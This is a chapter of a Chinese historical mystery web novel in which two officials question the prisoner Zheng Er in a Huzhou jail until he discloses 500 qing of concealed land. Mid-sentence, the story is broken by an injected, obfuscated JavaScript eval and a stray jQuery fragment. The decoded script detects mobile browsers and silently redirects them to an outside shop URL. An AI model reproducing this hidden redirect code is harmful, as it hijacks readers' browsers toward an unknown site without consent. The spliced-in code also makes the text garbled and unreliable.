湖州城外的府狱,高墙耸立、窗棂窄小。三人甫一踏入狱门,一股潮湿、霉腐的气息便扑面而来。四下里空旷沉寂,唯有岗哨和巡差戒备的目光还带来几分活人的气息。
李东予非湖州府衙官差,不便再入内,便由差役引着去茶水间喝茶等候。
苏泽和秦偕去往地牢,跟着狱卒顺着石阶一级级往下。二人越走潮气越重,两侧石墙上渗着水珠,壁上火把忽明忽暗,照得人影憧憧。
郑二在走道尽头的一间牢房里,已被关押了十多天。
狱卒上前开锁,铁锁与门环相撞,叮铃作响。草席上蜷着的人闻声,猛地坐起身,连滚带爬扑到铁栅栏前。十余日牢狱消磨,郑二早已不复当初那副面皮油滑、眼珠乱转、不时叫嚣着要称勇斗狠的无赖模样。
此刻他须发蓬乱,囚衣污糟,眼窝深陷进去,神情惊惶。
苏泽是来过这里审问嫌犯的,但秦偕是第一次来。
“官爷!官爷!”郑二一见苏泽现身,十指紧紧抠着铁栏,“草民盼星星盼月亮,可算把您盼来了!”
他脸扭曲着挤在栅栏缝隙里,神情似在崩溃边缘:“草民冤枉啊。草民不曾谋害大哥,请青天大老爷替草民做主!!!”说着嚎啕大哭起来,鼻涕眼泪说来就来,很快糊了一脸。
苏泽只冷脸看着他,一言不发。
火光落在她脸上,半明半暗中整个人看上去颇有威严气势。
郑二被那目光镇住,原本想再嚎几声却硬生生憋住,闷得打了个空嗝。他仰头望苏泽,眼眶里蓄满泪水,却不敢让它坠落下来。
秦偕隐在苏泽身后两步的阴影里,抱臂而立,目光静静落在她的侧影上。
“郑二,”苏泽觉得火候差不多了,终于开口,“你口口声声郑大郎不是你杀的,却拿不出任何证据。空口白牙,叫本官如何信你?”
郑二眼珠急转,额头青筋突突直跳。
他猛地一拍铁栏,吼道:“是郑三!那个王八蛋,会咬人的狗不叫...就是他!一定是他!”
一面说着他忍不住将手伸出栅栏,朝苏泽的方向乱抓,“官爷,大兄死了,我再被陷害进来蹲一辈子大牢,阿爹的财产就全归那狗娘……”
话到此处忽然一顿,郑二想起自己和郑三一个娘肚子里爬出来的,把’养的‘二字吞下。
“……全归那小子!”他硬生生拐了个弯,“大人,都说谁得好处最多,谁就是凶手!事到如今,摆明了郑三好处最多,不是他还能是谁?”
“若是你杀了郑大而不被抓,”苏泽唇畔扬起个残酷的弧度,“获利最多的,便是你。”
郑二僵住。
他本就是个无赖,肚子里没有墨水。“谁得好处最多谁是凶手”这话是原就是蹲在大牢里,日日夜夜琢磨出来的。本指望一鸣惊人,没想到被苏泽轻飘飘一句反问,堵得张口结舌。他使劲儿转动那颗混混沌沌的脑子,越想越乱,竟然无话可说。
苏泽又往前半步,隔着铁栅栏蹲在郑二跟前,俯视着他,火上浇油来了句:
“我听说你三弟读书很好,很有希望在明年的秋闱中举。一旦他成了举人老爷,就为你父亲留下的那仨瓜俩枣,杀人谋财?恕在下眼拙,看不出来他哪里得利。”
郑二大张着嘴,半晌合不上。
他忽然明白了,眼前这不男不女的小官,根本不是来救他的。什么青天大老爷,什么明镜高悬,全他妈是假的。官官相护,官官相护啊!
他郑二算个什么东西,也值得人家正经查案?
这狗官方才说了一句真话,郑三那小子前程大好,转眼要当官了。
而他,注定要背上杀人罪,永世不得翻身!
眼泪鼻涕再也控制不住,汹涌而来。
难道自己这辈子就要把牢底坐穿?而老三这只狡猾的狐狸却要站在铁窗外那个繁华人世将好处占尽?
冤!真他妈憋屈透了!
郑二哭着哭着,想说什么...嘴张了闭,闭了又张。
“郑二郎,你还有一个地方说错了。”一个声音从苏泽背后幽幽响起,带着轻慢生死的悠然。
郑二仰头,睁大眼睛顺着声音看过去,半天才看清阴影里站着一个高挑的身影。
像是为了帮助他看得更清晰,那人往前踱了两步。
郑二适才听那人说话声调冰冷,此刻看其人面目更是无情。
一张俊美逼人的脸,却挂着你们都死了与我何干的漠然。那身深绿色官袍在暗处深沉如墨,显然比苏姓推官的淡青色更有权威。
郑二还看着秦偕怔忪,对方那张嘴里却吐出令人更加绝望的话:“谋财杀人,可不是蹲大牢...而是,要偿命。”
郑二瞳孔骤缩,但见那人垂眼看自己的神情仿若端详一具死尸、一堆烂肉。
“郑二,你还挺好命,碰上腊月能多活几日。出了正月,你就可以去向你大哥赔罪了。”
郑二呆滞了一会儿,才反应过来这个模样俊俏的大官嘴里吐出的是什么虎狼之词。
他激动起来:“你们,你们这是草菅人命!你们这些狗官,都不是好东西!和郑三一样,读书人都不是好东西!”
他拼命将手伸出铁栏,试图拍打离他更近的苏泽:“我做鬼也不会放过你们!”
苏泽看到郑二那脏爪子几乎要碰到自己,正欲后退,就被一股力道往后一带。接着,秦偕的身影已然挡在她的面前。
“郑二,你的案子如今在本官手中,本官没有苏大人的好性子听你哭嚎。”
他在郑二跟前俯身,距离很近,官袍上的暗纹能清晰的浮现在郑二眼前。刚才还歇斯底里的人被气势镇压,竟然不敢当真去触碰眼前这个俊面罗刹。
“本官也没什么耐心。尽早结案,你父亲的田产、宅院赶紧交给你弟弟,本官也好过年。今日来,是看看你有没有什么遗言要捎带给你妻儿,走完程序老子好过年。”
他左右端详如遭雷劈、半死不活的郑二。对方口中的咒骂渐渐停歇,眼中的瞳孔却在不断放大,绝望一寸寸爬到脸上...
“看来是没有。”秦偕直起身,掸了掸袖角,“也是。据说你总打老婆,不管孩子,外头还有姘头。于妻无情,于子无用。死得不冤!”
“若心里不服,”秦偕已转身,背对着他,“记得变鬼来找本官!别找错人了。”
他迈步便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938389|213783||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走,经过苏泽身侧时也未停,只抛下一句:“就这么个破案子,除了他在意那几块地和破院子,还有谁在意?明摆的小事情,值当你带本官走这一趟?!”
声音渐远。
活命的希望就要彻底消失。
“大人!青天大老爷!”呼叫从二人身后传来,这回那哭声中带着豁出去的森然和要死一起死的决绝。
“那不是三十顷地,是足足五百顷啊!官爷...”说出这句话的郑二像被人打断了腿,沿着栅栏跪了下去。
苏泽和秦偕缓缓转过身来。
平地惊雷...
五百顷。
隐户!
在大平朝,足够全家流放。
秦偕与苏泽从地牢出来时,李东予正歪在茶水间的木椅上百无聊赖。
天光由明转暗一点点敛去,而他也已喝空了三壶茶。
“我的天爷,”见到二人身影,他腾地从椅子上站起来迎上前,“你们再不出来,我就要闯下去找你们了。”
他上下打量两人神色:“怎么说?”
秦偕并不多言,径自走到桌边。就着李东予喝剩下的壶,又向差役要了两个粗碗,倒了水,与苏泽各执一碗,仰头饮尽。
苏泽也渴极了,捧着碗慢慢喝完,又接过他递来的第二碗。
饮罢,秦偕将碗往桌上一搁,对差役道:“劳驾,将我们的马牵来。”
差役应声而去。
李东予愣住:“这就……走了?”
他感觉自己就是来回遛了趟马,有点无语。
“不然呢?”秦偕瞥他一眼,“你留这儿再参观参观?”
顿了顿,又补一句,"要不要给你寻一间狱房,体验个中绝望滋味,也好历练历练,方便日后赴任?"
“不是,”李东予挠挠头,“我以为好歹能吃顿农家菜再动身回去。早听闻湖州菜风味绝佳,昨日我在'花家怡楼'吃了一回,味道甚好。便想着乡野农家菜肴,当更有一番意趣。”
这时差役已将马牵来。
逐光一路昂着头往前走,瞅也不瞅杂毛小混血一眼,高傲的样子和它的主人一模一样。
“可要去稍作方便?”秦偕突然转头问苏泽。
苏泽想了想回程遥远,点点头,“那我去去就回。”
李东予目光在二人之间打了个转,“诶,无衣你等等我,我也去!”抬脚要追,后领却被人一把捞住。
他扭头对秦偕说:“我也想出恭。”
秦偕拽着他往另一个方向:“那边也有,一起。”
李东予被秦偕拖着走,嘟嘟囔囔:“为什么要去不同的茅厕...”
秦偕不搭理。
“六郎,”李东予忽然转了话题,“你别说,你可能挺适合在南方呆着...我这次看到你,比之前在上京看你气色、状态都好多了。”
秦偕依然不语,只暗自腹诽:这么个啰哩啰嗦的家伙,到底怎么写得一手好策论?
“你说,”李东予自顾自言语,“是不是因为官家也生得俊,把你比得不够耀眼?现下离开上京,无人压制,你的风采便愈发脱颖而出?”
“闭嘴!”